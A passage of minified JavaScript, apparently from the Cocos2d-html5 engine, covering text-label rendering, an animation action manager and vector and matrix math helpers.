  394. g_:function(a,c,d,e){d=d||0.5;!1===this.ld&&(this.ld=!0);var f=this.Ed;if(f&&f.x!=a||f.Ne!=c)f.x=a,f.y=c;this.rj!=d&&(this.rj=d);this.qf();this.Lk!=e&&(this.Lk=e);this.pb=!0},iW:function(){return this.Ed.x},aY:function(a){!1===this.ld&&(this.ld=!0);this.Ed.x!=a&&(this.Ed.x=a,this.pb=!0)},jW:function(){return this.Ed.Ne},bY:function(a){!1===this.ld&&(this.ld=!0);this.Ed.Ne!=a&&(this.Ed.Ne=a,this.pb=!0)},c8:function(){return N(this.Ed.x,this.Ed.y)},s8:function(a){!1===this.ld&&(this.ld=!0);if(this.Ed.x!=
  395. a.x||this.Ed.y!=a.y)this.Ed.x=a.x,this.Ed.y=a.y,this.pb=!0},kW:function(){return this.rj},cY:function(a){!1===this.ld&&(this.ld=!0);this.rj!=a&&(this.rj=a,this.qf(),this.pb=!0)},hW:function(){return this.Lk},$X:function(a){!1===this.ld&&(this.ld=!0);this.Lk!=a&&(this.Lk=a,this.pb=!0)},H9:function(){this.ld&&(this.ld=!1,this.pb=!0)},h_:function(a,c){!1===this.Jg&&(this.Jg=!0);var d=this.lm;if(d.r!==a.r||d.g!==a.g||d.b!==a.b)d.r=a.r,d.g=a.g,d.b=a.b,this.qf();this.uj!==c&&(this.uj=c||0);this.pb=!0},
  396. nW:function(){return this.lm},kY:function(a){!1===this.Jg&&(this.Jg=!0);var c=this.lm;if(c.r!==a.r||c.g!==a.g||c.b!==a.b)c.r=a.r,c.g=a.g,c.b=a.b,this.qf(),this.pb=!0},aW:function(){return this.uj},TX:function(a){!1===this.Jg&&(this.Jg=!0);this.uj!==a&&(this.uj=a||0,this.pb=!0)},I9:function(){this.Jg&&(this.Jg=!1,this.pb=!0)},By:null,SV:function(){return this.mm},OD:function(a,c){a.R$?(this.jc.width=a.boundingWidth,this.jc.height=a.boundingHeight):(this.jc.width=0,this.jc.height=0);this.zk=a.textAlign;
  397. this.Uk=a.verticalAlign;this.$b=a.fontName;this.Sb=a.fontSize||12;this.ih=this.Sb+"px '"+this.$b+"'";this.fi=b.W.Vq(this.$b,this.Sb);a.CP&&this.g_(a.shadowOffsetX,a.shadowOffsetY,a.shadowOpacity,a.shadowBlur);a.AG&&this.h_(a.strokeStyle,a.lineWidth);this.By(a.fillStyle);c&&this.Tw()},tX:function(a){var c=new b.eH;a?(c.fontSize=this.Sb,c.boundingWidth=b.rb()*this.jc.width,c.boundingHeight=b.rb()*this.jc.height):(c.fontSize=this.Sb,c.boundingWidth=this.jc.width,c.boundingHeight=this.jc.height);c.fontName=
  398. this.$b;c.textAlign=this.zk;c.verticalAlign=this.Uk;if(this.Jg){c.AG=!0;var d=this.lm;c.strokeStyle=b.color(d.r,d.g,d.b);c.lineWidth=this.uj}else c.AG=!1;this.ld?(c.CP=!0,c.shadowBlur=this.Lk,c.shadowOpacity=this.rj,c.shadowOffsetX=(a?b.rb():1)*this.Ed.x,c.shadowOffsetY=(a?b.rb():1)*this.Ed.y):c.ld=!1;a=this.mm;c.fillStyle=b.color(a.r,a.g,a.b);return c},fi:18,Lc:function(a){a=String(a);this.pC!=a&&(this.pC=a+"",this.Rw(),this.pb=!0)},Rw:function(){this.Ib=this.pC},v3:function(a){a!==this.zk&&(this.zk=
  399. a,this.pb=!0)},c4:function(a){a!=this.Uk&&(this.Uk=a,this.pb=!0)},Rha:function(a){if(a.width!=this.jc.width||a.height!=this.jc.height)this.jc=a,this.Rw(),this.pb=!0},FB:function(){return this.jc.width},JX:function(a){a!=this.jc.width&&(this.jc.width=a,this.Rw(),this.pb=!0)},QV:function(){return this.jc.height},IX:function(a){a!=this.jc.height&&(this.jc.height=a,this.Rw(),this.pb=!0)},Dy:function(a){this.Sb!==a&&(this.Sb=a,this.ih=a+"px '"+this.$b+"'",this.fi=b.W.Vq(this.$b,a),this.pb=!0)},Cy:function(a){this.$b&&
  400. this.$b!=a&&(this.$b=a,this.ih=this.Sb+"px '"+a+"'",this.fi=b.W.Vq(a,this.Sb),this.pb=!0)},TV:function(){return this.ih},PX:function(a){var c=b.W.FV.exec(a);c&&(this.Sb=parseInt(c[1]),this.$b=c[2],this.ih=a,this.fi=b.W.Vq(this.$b,this.Sb),this.pb=!0)},zV:function(a){if(a){var c=this.zD,d=this.AD,e=this.O.height-d,f=this.Uk,g=this.zk,h=this.fi,k=this.uj;a.setTransform(1,0,0,1,0+0.5*c,e+0.5*d);a.font!=this.ih&&(a.font=this.ih);a.fillStyle=this.Iv;var m=d=0,p=this.Jg;p&&(a.lineWidth=2*k,a.strokeStyle=
  401. this.Ew);this.ld&&(k=this.Ed,a.shadowColor=this.zw,a.shadowOffsetX=k.x,a.shadowOffsetY=-k.y,a.shadowBlur=this.Lk);a.textBaseline=b.W.zY[f];a.textAlign=b.W.yY[g];c=this.O.width-c;d=g===b.ZH?d+c:g===b.un?d+c/2:d+0;if(this.no)for(g=this.tj.length,f===b.LI?m=h+e-h*g:f===b.uU&&(m=h/2+(e-h*g)/2),f=0;f<g;f++)c=this.tj[f],k=-e+h*f+m,p&&a.strokeText(c,d,k),a.fillText(c,d,k);else f!==b.LI&&(m=f===b.Tq?m-e:m-0.5*e),p&&a.strokeText(this.Ib,d,m),a.fillText(this.Ib,d,m)}},IB:function(){if(this.Yv)return this.Yv;
  402. if(!this.Xv){var a=b.Ob("canvas"),c=new b.da;c.rd(a);this.texture=c;this.Xv=a}return this.Yv=this.Xv.getContext("2d")},Sw:function(){var a=this.jc.width,c,d,e=this.KK;e.length=0;this.no=!1;this.VW();if(0!==a){var f=this.Ib;this.tj=[];c=0;for(d=this.Ib.length;c<d;){var g=this.$U(f.substr(c),a);this.tj.push(f.substr(c,g));c+=g}}else for(this.tj=this.Ib.split("\n"),c=0,d=this.tj.length;c<d;c++)e.push(this.Nr(this.tj[c]));0<this.tj.length&&(this.no=!0);d=c=0;this.Jg&&(c=d=2*this.uj);this.ld&&(f=this.Ed,
  403. c+=2*Math.abs(f.x),d+=2*Math.abs(f.y));a=0===a?this.no?O(0|Math.max.apply(Math,e)+c,0|this.fi*this.tj.length+d):O(0|this.Nr(this.Ib)+c,0|this.fi+d):0===this.jc.height?this.no?O(0|a+c,0|this.fi*this.tj.length+d):O(0|a+c,0|this.fi+d):O(0|a+c,0|this.jc.height+d);this.$d(a);this.zD=c;this.AD=d;e=this.Oc;this.kb.x=0.5*c+(a.width-c)*e.x;this.kb.y=0.5*d+(a.height-d)*e.y},Jh:function(){this.pb&&this.Sw();return b.Q.prototype.Jh.call(this)},jh:function(){this.pb&&this.Sw();return b.Q.prototype.jh.call(this)},
  404. xk:function(){this.pb&&this.Sw();return b.Q.prototype.xk.call(this)},Tw:function(){var a=this.IB(),c=this.Xv,d=this.O;if(0===this.Ib.length)return c.width=1,c.height=d.height,this.hb(Q(0,0,1,d.height)),!0;a.font=this.ih;this.Sw();var e=d.width,d=d.height,f=c.width==e&&c.height==d;c.width=e;c.height=d;f&&a.clearRect(0,0,e,d);this.zV(a);this.K&&this.K.Nb();this.hb(Q(0,0,e,d));return!0},T:function(a){this.Ib&&""!=this.Ib&&(this.pb&&(this.pb=!1,this.Tw()),b.Q.prototype.T.call(this,a||b.k))},Z:null,EL:function(a){var c=
  405. this.X?this.textureAtlas.texture:this.K;if(c){var d=c.pixelsWidth,e=c.pixelsHeight,f,g=this.Ub;this.$c?(b.kn?(c=(2*a.x+1)/(2*d),d=c+(2*a.height-2)/(2*d),f=(2*a.y+1)/(2*e),a=f+(2*a.width-2)/(2*e)):(c=a.x/d,d=(a.x+a.height)/d,f=a.y/e,a=(a.y+a.width)/e),this.Qb&&(e=f,f=a,a=e),this.Rb&&(e=c,c=d,d=e),g.F.l.ea=c,g.F.l.fa=f,g.M.l.ea=c,g.M.l.fa=a,g.L.l.ea=d,g.L.l.fa=f,g.J.l.ea=d,g.J.l.fa=a):(b.kn?(c=(2*a.x+1)/(2*d),d=c+(2*a.width-2)/(2*d),f=(2*a.y+1)/(2*e),a=f+(2*a.height-2)/(2*e)):(c=a.x/d,d=(a.x+a.width)/
  406. d,f=a.y/e,a=(a.y+a.height)/e),this.Qb&&(e=c,c=d,d=e),this.Rb&&(e=f,f=a,a=e),g.F.l.ea=c,g.F.l.fa=a,g.M.l.ea=d,g.M.l.fa=a,g.L.l.ea=c,g.L.l.fa=f,g.J.l.ea=d,g.J.l.fa=f);this.He=!0}}});
  407. b.A===b.Ea?(n=b.W.prototype,n.La=function(a){b.ia.prototype.La.call(this,a);this.qf()},n.qf=function(){this.pb=!0;var a=this.Fa,c=this.Ca,d=this.lm,e=this.mm;this.zw="rgba("+(0|0.5*a.r)+","+(0|0.5*a.g)+","+(0|0.5*a.b)+","+this.rj+")";this.Iv="rgba("+(0|a.r/255*e.r)+","+(0|a.g/255*e.g)+","+(0|a.b/255*e.b)+", "+c/255+")";this.Ew="rgba("+(0|a.r/255*d.r)+","+(0|a.g/255*d.g)+","+(0|a.b/255*d.b)+", "+c/255+")"},n.Pb=function(a){b.ia.prototype.Pb.call(this,a);this.qf()},n.Ba=function(a){this.Ud!==a&&(b.Q.prototype.Ba.call(this,
  408. a),this.qf(),this.pb=!0)},n.Lb=b.Q.prototype.Lb,n.lF=function(a,c){this.OD(c,!1);this.string=a;return!0},n.By=function(a){var c=this.mm;if(c.r!=a.r||c.g!=a.g||c.b!=a.b)c.r=a.r,c.g=a.g,c.b=a.b,this.qf(),this.pb=!0},n.Z=b.Q.prototype.Z,n.hb=function(a,c,d){this.$c=c||!1;this.$d(d||a);this.vG(a);c=this.Do;c.x=a.x;c.y=a.y;c.width=a.width;c.height=a.height;c.Qp=!(0===c.width||0===c.height||0>c.x||0>c.y);a=this.Bh;this.Qb&&(a.x=-a.x);this.Rb&&(a.y=-a.y);this.Eb.x=a.x+(this.O.width-this.ha.width)/2;this.Eb.y=
  409. a.y+(this.O.height-this.ha.height)/2;this.X&&(this.dirty=!0)},n=null):(b.assert("function"===typeof b.B.DA,b.e.Nc,"LabelTTFWebGL.js"),b.B.DA(),delete b.B.DA);b.assert("function"===typeof b.B.Kz,b.e.Nc,"LabelTTFPropertyDefine.js");b.B.Kz();delete b.B.Kz;b.W.yY=["left","center","right"];b.W.zY=["top","middle","bottom"];b.W.bV=/(.+?)([\s\n\r\-\/\\\:]|[\u4E00-\u9FA5]|[\uFE30-\uFFA0])/;b.W.CX=/(.*)([\s\n\r\-\/\\\:]|[\u4E00-\u9FA5]|[\uFE30-\uFFA0])/;b.W.ZU=/[\s\-\/\\\:]/;b.W.FV=/^(\d+)px\s+['"]?([\w\s\d]+)['"]?$/;
  410. b.W.create=function(a,c,d,e,f,g){return new b.W(a,c,d,e,f,g)};b.W.EU=b.tU?b.Ti:b.Wz;b.W.ik=b.Ob("div");b.W.ik.style.fontFamily="Arial";b.W.ik.style.position="absolute";b.W.ik.style.left="-100px";b.W.ik.style.top="-100px";b.W.ik.style.lineHeight="normal";document.body?document.body.appendChild(b.W.ik):b.Ja(window,"load",function(){this.removeEventListener("load",arguments.callee,!1);document.body.appendChild(b.W.ik)},!1);
  411. b.W.Vq=function(a,c){var d=b.W.SI[a+"."+c];if(0<d)return d;var e=b.W.ik;e.innerHTML="ajghl~!";e.style.fontFamily=a;e.style.fontSize=c+"px";d=e.clientHeight;b.W.SI[a+"."+c]=d;e.innerHTML="";return d};b.W.SI={};b.jR=b.ja.extend({Ac:null,target:null,wm:0,uf:null,Cm:!1,paused:!1,Ax:null,ctor:function(){this.Ac=[];this.target=null;this.wm=0;this.uf=null;this.paused=this.Cm=!1;this.Ax=null}});
  412. b.JG=b.ja.extend({lh:null,zn:null,Wc:null,di:!1,q8:function(a,c){for(var d=0;d<a.length;d++)if(c==a[d].target)return a[d];return null},ctor:function(){this.lh={};this.zn=[];this.Wc=null;this.di=!1},OY:function(a,c,d){if(!a)throw"cc.ActionManager.addAction(): action must be non-null";if(!c)throw"cc.ActionManager.addAction(): action must be non-null";var e=this.lh[c.xa];e||(e=new b.jR,e.paused=d,e.target=c,this.lh[c.xa]=e,this.zn.push(e));this.HU(e);e.Ac.push(a);a.v(c)},Mga:function(){for(var a=this.zn,
  413. c=0;c<a.length;c++){var d=a[c];d&&this.LO(d.target,!0)}},LO:function(a,c){if(null!=a){var d=this.lh[a.xa];d&&(-1===d.Ac.indexOf(d.uf)||d.Cm||(d.Cm=!0),d.Ac.length=0,this.Wc!=d||c?this.kB(d):this.di=!0)}},KO:function(a){if(null!=a){var c=this.lh[a.originalTarget.xa];if(c)for(var d=0;d<c.Ac.length;d++){if(c.Ac[d]==a){c.Ac.splice(d,1);break}}else b.log(b.e.gQ)}},H2:function(a,c){a==b.fn&&b.log(b.e.KG);b.assert(c,b.e.KG);var d=this.lh[c.xa];if(d)for(var e=d.Ac.length,f=0;f<e;++f){var g=d.Ac[f];if(g&&
  414. g.XE()===a&&g.originalTarget==c){this.vX(f,d);break}}},KE:function(a,c){a==b.fn&&b.log(b.e.eQ);var d=this.lh[c.xa];if(d){if(null!=d.Ac)for(var e=0;e<d.Ac.length;++e){var f=d.Ac[e];if(f&&f.XE()===a)return f}b.log(b.e.fQ,a)}return null},Z1:function(a){return(a=this.lh[a.xa])?a.Ac?a.Ac.length:0:0},xp:function(a){(a=this.lh[a.xa])&&(a.paused=!0)},Lj:function(a){(a=this.lh[a.xa])&&(a.paused=!1)},kga:function(){for(var a=[],c=this.zn,d=0;d<c.length;d++){var e=c[d];e&&!e.paused&&(e.paused=!0,a.push(e.target))}return a},
  415. W2:function(a){if(a)for(var c=0;c<a.length;c++)a[c]&&this.Lj(a[c])},wga:function(){b.D.Yk().St(this)},vX:function(a,c){c.Ac[a]!=c.uf||c.Cm||(c.Cm=!0);c.Ac.splice(a,1);c.wm>=a&&c.wm--;0==c.Ac.length&&(this.Wc==c?this.di=!0:this.kB(c))},kB:function(a){a&&(delete this.lh[a.target.xa],b.Oe(this.zn,a),a.Ac=null,a.target=null)},HU:function(a){null==a.Ac&&(a.Ac=[])},update:function(a){for(var c=this.zn,d,e=0;e<c.length;e++){d=this.Wc=c[e];if(!d.paused)for(d.wm=0;d.wm<d.Ac.length;d.wm++)if(d.uf=d.Ac[d.wm],
  416. d.uf){d.Cm=!1;d.uf.step(a*(d.uf.es?d.uf.ne:1));if(d.Cm)d.uf=null;else if(d.uf.Og()){d.uf.stop();var f=d.uf;d.uf=null;this.KO(f)}d.uf=null}this.di&&0===d.Ac.length&&this.kB(d)}}});b.Jea=Number;b.zda=Number;b.Ada=Number;b.pn=0;b.qn=1;b.zF=3.141592;b.F1=0.017453;b.G1=57.295779;b.Aa=0.015625;b.Jc=function(a){return a*a};b.et=function(a){return a*b.F1};b.Eea=function(a){return a*b.G1};b.Sx=function(a,c){return a<c?a:c};b.Rx=function(a,c){return a>c?a:c};b.yda=function(a,c){return a+b.Aa>c&&a-b.Aa<c};b.Oh=function(){this.y=this.x=0};b.Nea=function(a,c,d){a.x=c;a.y=d;return a};b.Ux=function(a){return Math.sqrt(b.Jc(a.x)+b.Jc(a.y))};b.Oea=function(a){return b.Jc(a.x)+b.Jc(a.y)};b.M1=function(a,c){var d=1/b.Ux(c),e=new b.Oh;e.x=c.x*d;e.y=c.y*d;a.x=e.x;a.y=e.y};b.Kea=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;return a};b.Mea=function(a,c){return a.x*c.x+a.y*c.y};b.Vx=function(a,c,d){a.x=c.x-d.x;a.y=c.y-d.y;return a};
  417. b.Qea=function(a,c,d){var e=new b.Oh;e.x=c.x*d.c[0]+c.y*d.c[3]+d.c[6];e.y=c.x*d.c[1]+c.y*d.c[4]+d.c[7];a.x=e.x;a.y=e.y;return a};b.Rea=function(){return null};b.Pea=function(a,c,d){a.x=c.x*d;a.y=c.y*d;return a};b.Lea=function(a,c){return a.x<c.x+b.Aa&&a.x>c.x-b.Aa&&a.y<c.y+b.Aa&&a.y>c.y-b.Aa};b.xb=function(a,c,d){this.x=a||0;this.y=c||0;this.z=d||0};b.np=function(a,c,d,e){if(!a)return new b.xb(c,d,e);a.x=c;a.y=d;a.z=e;return a};b.hO=function(a){return Math.sqrt(b.Jc(a.x)+b.Jc(a.y)+b.Jc(a.z))};b.iO=function(a){return b.Jc(a.x)+b.Jc(a.y)+b.Jc(a.z)};b.yf=function(a,c){var d=1/b.hO(c);a.x=c.x*d;a.y=c.y*d;a.z=c.z*d};b.bl=function(a,c,d){a.x=c.y*d.z-c.z*d.y;a.y=c.z*d.x-c.x*d.z;a.z=c.x*d.y-c.y*d.x};b.BF=function(a,c){return a.x*c.x+a.y*c.y+a.z*c.z};
  418. b.gO=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z};b.DF=function(a,c,d){a.x=c.x-d.x;a.y=c.y-d.y;a.z=c.z-d.z};b.Wea=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8]+d.c[12];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9]+d.c[13];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10]+d.c[14];return a};b.Xea=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10];return a};
  419. b.jO=function(a,c,d){var e=new b.kO,f=new b.kO;b.N1(f,c.x,c.y,c.z);b.lO(e,f,d);a.x=e.x/e.H;a.y=e.y/e.H;a.z=e.z/e.H};b.CF=function(a,c,d){a.x=c.x*d;a.y=c.y*d;a.z=c.z*d;return a};b.Sea=function(a,c){return a.x<c.x+b.Aa&&a.x>c.x-b.Aa&&a.y<c.y+b.Aa&&a.y>c.y-b.Aa&&a.z<c.z+b.Aa&&a.z>c.z-b.Aa?1:0};b.Tea=function(a,c,d){c=new b.xb(c.x-d.c[12],c.y-d.c[13],c.z-d.c[14]);a.x=c.x*d.c[0]+c.y*d.c[1]+c.z*d.c[2];a.y=c.x*d.c[4]+c.y*d.c[5]+c.z*d.c[6];a.z=c.x*d.c[8]+c.y*d.c[9]+c.z*d.c[10];return a};
  420. b.Uea=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[1]+c.z*d.c[2];a.y=c.x*d.c[4]+c.y*d.c[5]+c.z*d.c[6];a.z=c.x*d.c[8]+c.y*d.c[9]+c.z*d.c[10];return a};b.ft=function(a,c){a!=c&&(a.x=c.x,a.y=c.y,a.z=c.z)};b.Yea=function(a){a.x=0;a.y=0;a.z=0;return a};b.Vea=function(a){if(!a)return null;var c=new Float32Array(3);c[0]=a.x;c[1]=a.y;c[2]=a.z;return c};b.kO=function(){this.H=this.z=this.y=this.x=0};b.N1=function(a,c,d,e){a.x=c;a.y=d;a.z=e;a.H=1};b.Zea=function(a,c,d){a.x=c.x+d.x;a.y=c.y+d.y;a.z=c.z+d.z;a.H=c.H+d.H;return a};b.bfa=function(a,c){return a.x*c.x+a.y*c.y+a.z*c.z+a.H*c.H};b.O1=function(a){return Math.sqrt(b.Jc(a.x)+b.Jc(a.y)+b.Jc(a.z)+b.Jc(a.H))};b.cfa=function(a){return b.Jc(a.x)+b.Jc(a.y)+b.Jc(a.z)+b.Jc(a.H)};b.dfa=function(a){return a};b.P1=function(a,c){var d=1/b.O1(c);a.x*=d;a.y*=d;a.z*=d;a.H*=d};
  421. b.efa=function(a,c,d){b.P1(a,c);a.x*=d;a.y*=d;a.z*=d;a.H*=d;return a};b.ffa=function(a,c,d){a.x=c.x-d.x;a.y=c.y-d.y;a.z=c.z-d.z;a.H=c.H-d.H;return a};b.lO=function(a,c,d){a.x=c.x*d.c[0]+c.y*d.c[4]+c.z*d.c[8]+c.H*d.c[12];a.y=c.x*d.c[1]+c.y*d.c[5]+c.z*d.c[9]+c.H*d.c[13];a.z=c.x*d.c[2]+c.y*d.c[6]+c.z*d.c[10]+c.H*d.c[14];a.H=c.x*d.c[3]+c.y*d.c[7]+c.z*d.c[11]+c.H*d.c[15]};b.hfa=function(a,c,d,e,f,g){for(var h=0;h<g;)b.lO(a+h*c,d+h*e,f),++h;return a};
  422. b.$ea=function(a,c){return a.x<c.x+b.Aa&&a.x>c.x-b.Aa&&a.y<c.y+b.Aa&&a.y>c.y-b.Aa&&a.z<c.z+b.Aa&&a.z>c.z-b.Aa&&a.H<c.H+b.Aa&&a.H>c.H-b.Aa};b.afa=function(a,c){if(a==c)return b.log("destVec and srcVec are same object"),a;a.x=c.x;a.y=c.y;a.z=c.z;a.H=c.H;return a};b.gfa=function(a){if(!a)return null;var c=new Float32Array(4);c[0]=a.x;c[1]=a.y;c[2]=a.z;c[3]=a.H;return c};b.Fea=function(a){this.start=a||new b.Oh;this.start=a||new b.Oh};b.Gea=function(a,c,d,e,f){a.start.x=c;a.start.y=d;a.dir.x=e;a.dir.y=f};
  423. b.AF=function(a,c,d,e){var f=a.start.x,g=a.start.y,h=a.start.x+a.dir.x;a=a.start.y+a.dir.y;var k=c.x,m=c.y,p=d.x,r=d.y,s=(r-m)*(h-f)-(p-k)*(a-g);if(s>-b.Aa&&s<b.Aa)return b.pn;m=((p-k)*(g-m)-(r-m)*(f-k))/s;k=f+m*(h-f);m=g+m*(a-g);if(k<b.Sx(c.x,d.x)-b.Aa||k>b.Rx(c.x,d.x)+b.Aa||m<b.Sx(c.y,d.y)-b.Aa||m>b.Rx(c.y,d.y)+b.Aa||k<b.Sx(f,h)-b.Aa||k>b.Rx(f,h)+b.Aa||m<b.Sx(g,a)-b.Aa||m>b.Rx(g,a)+b.Aa)return b.pn;e.x=k;e.y=m;return b.qn};
  424. b.lE=function(a,c,d){var e=new b.Oh;b.Vx(e,c,a);d.x=-e.y;d.y=e.x;b.M1(d,d)};b.Iea=function(a,c,d,e,f,g){var h=new b.Oh,k=new b.Oh,m=new b.Oh,p=1E4,r=b.pn,s;b.AF(a,c,d,h)&&(s=new b.Oh,r=b.qn,s=b.Ux(b.Vx(s,h,a.start)),s<p&&(k.x=h.x,k.y=h.y,p=s,b.lE(c,d,m)));b.AF(a,d,e,h)&&(s=new b.Oh,r=b.qn,s=b.Ux(b.Vx(s,h,a.start)),s<p&&(k.x=h.x,k.y=h.y,p=s,b.lE(d,e,m)));b.AF(a,e,c,h)&&(s=new b.Oh,r=b.qn,s=b.Ux(b.Vx(s,h,a.start)),s<p&&(k.x=h.x,k.y=h.y,b.lE(e,c,m)));r&&(f.x=k.x,f.y=k.y,g&&(g.x=m.x,g.y=m.y));return r};
  425. b.Hea=function(){b.log("cc.kmRay2IntersectCircle() has not been implemented.")};var Float32Array=Float32Array||Array;b.Qx=function(){this.c=new Float32Array([0,0,0,0,0,0,0,0,0])};b.Ida=function(a,c){for(var d=0;9>d;d++)a.c[d]=c;return a};b.y1=function(a,c){a.c[0]=c.c[4]*c.c[8]-c.c[5]*c.c[7];a.c[1]=c.c[2]*c.c[7]-c.c[1]*c.c[8];a.c[2]=c.c[1]*c.c[5]-c.c[2]*c.c[4];a.c[3]=c.c[5]*c.c[6]-c.c[3]*c.c[8];a.c[4]=c.c[0]*c.c[8]-c.c[2]*c.c[6];a.c[5]=c.c[2]*c.c[3]-c.c[0]*c.c[5];a.c[6]=c.c[3]*c.c[7]-c.c[4]*c.c[6];a.c[8]=c.c[0]*c.c[4]-c.c[1]*c.c[3]};
  426. b.ZN=function(a){a.c[1]=a.c[2]=a.c[3]=a.c[5]=a.c[6]=a.c[7]=0;a.c[0]=a.c[4]=a.c[8]=1};b.Jda=function(a,c,d){var e=new b.Qx;if(0===c)return null;c=1/c;b.y1(e,d);b.z1(a,e,c);return a};b.Qx.PB=new Float32Array([1,0,0,0,1,0,0,0,1]);b.Kda=function(a){for(var c=0;9>c;c++)if(b.Qx.PB[c]!==a.c[c])return!1;return!0};b.Vda=function(a,c){var d,e;for(d=0;3>d;++d)for(e=0;3>e;++e)a.c[3*d+e]=c.c[3*e+d];return a};
  427. b.Hda=function(a){var c;c=a.c[0]*a.c[4]*a.c[8]+a.c[1]*a.c[5]*a.c[6]+a.c[2]*a.c[3]*a.c[7];return c-=a.c[2]*a.c[4]*a.c[6]+a.c[0]*a.c[5]*a.c[7]+a.c[1]*a.c[3]*a.c[8]};
  428. b.Lda=function(a,c,d){c=c.c;d=d.c;a.c[0]=c[0]*d[0]+c[3]*d[1]+c[6]*d[2];a.c[1]=c[1]*d[0]+c[4]*d[1]+c[7]*d[2];a.c[2]=c[2]*d[0]+c[5]*d[1]+c[8]*d[2];a.c[3]=c[0]*d[3]+c[3]*d[4]+c[6]*d[5];a.c[4]=c[1]*d[3]+c[4]*d[4]+c[7]*d[5];a.c[5]=c[2]*d[3]+c[5]*d[4]+c[8]*d[5];a.c[6]=c[0]*d[6]+c[3]*d[7]+c[6]*d[8];a.c[7]=c[1]*d[6]+c[4]*d[7]+c[7]*d[8];a.c[8]=c[2]*d[6]+c[5]*d[7]+c[8]*d[8];return a};b.z1=function(a,c,d){for(var e=0;9>e;e++)a.c[e]=c.c[e]*d};
  429. b.Nda=function(a,c,d){var e=Math.cos(d);d=Math.sin(d);a.c[0]=e+c.x*c.x*(1-e);a.c[1]=c.z*d+c.y*c.x*(1-e);a.c[2]=-c.y*d+c.z*c.x*(1-e);a.c[3]=-c.z*d+c.x*c.y*(1-e);a.c[4]=e+c.y*c.y*(1-e);a.c[5]=c.x*d+c.z*c.y*(1-e);a.c[6]=c.y*d+c.x*c.z*(1-e);a.c[7]=-c.x*d+c.y*c.z*(1-e);a.c[8]=e+c.z*c.z*(1-e);return a};b.Gda=function(a,c){if(a==c)return b.log("cc.kmMat3Assign(): pOut equals pIn"),a;for(var d=0;9>d;d++)a.c[d]=c.c[d];return a};
  430. b.Fda=function(a,c){if(a==c)return!0;for(var d=0;9>d;++d)if(!(a.c[d]+b.Aa>c.c[d]&&a.c[d]-b.Aa<c.c[d]))return!1;return!0};b.Qda=function(a,c){a.c[0]=1;a.c[1]=0;a.c[2]=0;a.c[3]=0;a.c[4]=Math.cos(c);a.c[5]=Math.sin(c);a.c[6]=0;a.c[7]=-Math.sin(c);a.c[8]=Math.cos(c);return a};b.Rda=function(a,c){a.c[0]=Math.cos(c);a.c[1]=0;a.c[2]=-Math.sin(c);a.c[3]=0;a.c[4]=1;a.c[5]=0;a.c[6]=Math.sin(c);a.c[7]=0;a.c[8]=Math.cos(c);return a};
  431. b.Sda=function(a,c){a.c[0]=Math.cos(c);a.c[1]=-Math.sin(c);a.c[2]=0;a.c[3]=Math.sin(c);a.c[4]=Math.cos(c);a.c[5]=0;a.c[6]=0;a.c[7]=0;a.c[8]=1;return a};b.Mda=function(a,c){a.c[0]=Math.cos(c);a.c[1]=Math.sin(c);a.c[2]=0;a.c[3]=-Math.sin(c);a.c[4]=Math.cos(c);a.c[5]=0;a.c[6]=0;a.c[7]=0;a.c[8]=1;return a};b.Tda=function(a,c,d){b.ZN(a);a.c[0]=c;a.c[4]=d;return a};b.Uda=function(a,c,d){b.ZN(a);a.c[6]=c;a.c[7]=d;return a};
  432. b.Oda=function(a,c){if(!c||!a)return null;a.c[0]=1-2*(c.y*c.y+c.z*c.z);a.c[1]=2*(c.x*c.y-c.H*c.z);a.c[2]=2*(c.x*c.z+c.H*c.y);a.c[3]=2*(c.x*c.y+c.H*c.z);a.c[4]=1-2*(c.x*c.x+c.z*c.z);a.c[5]=2*(c.y*c.z-c.H*c.x);a.c[6]=2*(c.x*c.z-c.H*c.y);a.c[7]=2*(c.y*c.z+c.H*c.x);a.c[8]=1-2*(c.x*c.x+c.y*c.y);return a};b.Pda=function(a,c,d){b.eO(void 0,d);b.fO(void 0,a);return a};b.ca=function(){this.c=new Float32Array([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])};b.Yda=function(a,c){a.c[0]=a.c[1]=a.c[2]=a.c[3]=a.c[4]=a.c[5]=a.c[6]=a.c[7]=a.c[8]=a.c[9]=a.c[10]=a.c[11]=a.c[12]=a.c[13]=a.c[14]=a.c[15]=c};b.Qm=function(a){a.c[1]=a.c[2]=a.c[3]=a.c[4]=a.c[6]=a.c[7]=a.c[8]=a.c[9]=a.c[11]=a.c[12]=a.c[13]=a.c[14]=0;a.c[0]=a.c[5]=a.c[10]=a.c[15]=1};b.ca.Of=function(a,c,d){return a.c[c+4*d]};b.ca.Jk=function(a,c,d,e){a.c[c+4*d]=e};
  433. b.ca.Qk=function(a,c,d,e,f){var g=b.ca.Of(a,c,d);b.ca.Jk(a,c,d,b.ca.Of(a,e,f));b.ca.Jk(a,e,f,g)};
  434. b.ca.HV=function(a,c){var d,e=0,f=0,g,h,k,m=[0,0,0,0],p=[0,0,0,0],r=[0,0,0,0];for(d=0;4>d;d++){for(g=k=0;4>g;g++)if(1!=r[g])for(h=0;4>h;h++)0==r[h]&&Math.abs(b.ca.Of(a,g,h))>=k&&(k=Math.abs(b.ca.Of(a,g,h)),f=g,e=h);++r[e];if(f!=e){for(g=0;4>g;g++)b.ca.Qk(a,f,g,e,g);for(g=0;4>g;g++)b.ca.Qk(c,f,g,e,g)}p[d]=f;m[d]=e;if(0==b.ca.Of(a,e,e))return b.pn;h=1/b.ca.Of(a,e,e);b.ca.Jk(a,e,e,1);for(g=0;4>g;g++)b.ca.Jk(a,e,g,b.ca.Of(a,e,g)*h);for(g=0;4>g;g++)b.ca.Jk(c,e,g,b.ca.Of(c,e,g)*h);for(h=0;4>h;h++)if(h!=
